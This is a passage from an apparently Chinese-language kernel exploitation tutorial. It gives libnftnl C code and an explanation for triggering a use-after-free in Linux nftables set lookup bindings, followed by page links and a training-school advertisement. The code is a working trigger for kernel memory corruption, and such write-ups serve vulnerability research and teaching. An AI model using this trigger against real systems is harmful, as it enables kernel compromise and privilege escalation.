nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);
// nest the expression into the set
nftnl_set_add_expr(set_trigger, exprs[exprid]);
最后就是触发漏洞,第三次的set同样的也仅仅是为了创建lookup表达式,由于此时名为set_stable的set->bingdings还存在着被释放掉的lookup表达式的指针,因此在第三次创建的时候就会将新创建的lookup表达式链接到上述已经被释放的lookup表达式中,从而导致的uaf漏洞。
set_name = "set_uaf";
nftnl_set_set_str(set_uaf, NFTNL_SET_TABLE, table_name);
nftnl_set_set_str(set_uaf, NFTNL_SET_NAME, set_name);
nftnl_set_set_u32(set_uaf, NFTNL_SET_FLAGS, NFT_SET_EXPR);
nftnl_set_set_u32(set_uaf, NFTNL_SET_KEY_LEN, 1);
nftnl_set_set_u32(set_uaf, NFTNL_SET_FAMILY, family);
nftnl_set_set_u32(set_uaf, NFTNL_SET_ID, set_id);
exprs[exprid] = nftnl_expr_alloc("lookup");
nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, "set_stable");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页 第212页 第213页 第214页 第215页 第216页 第217页 第218页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

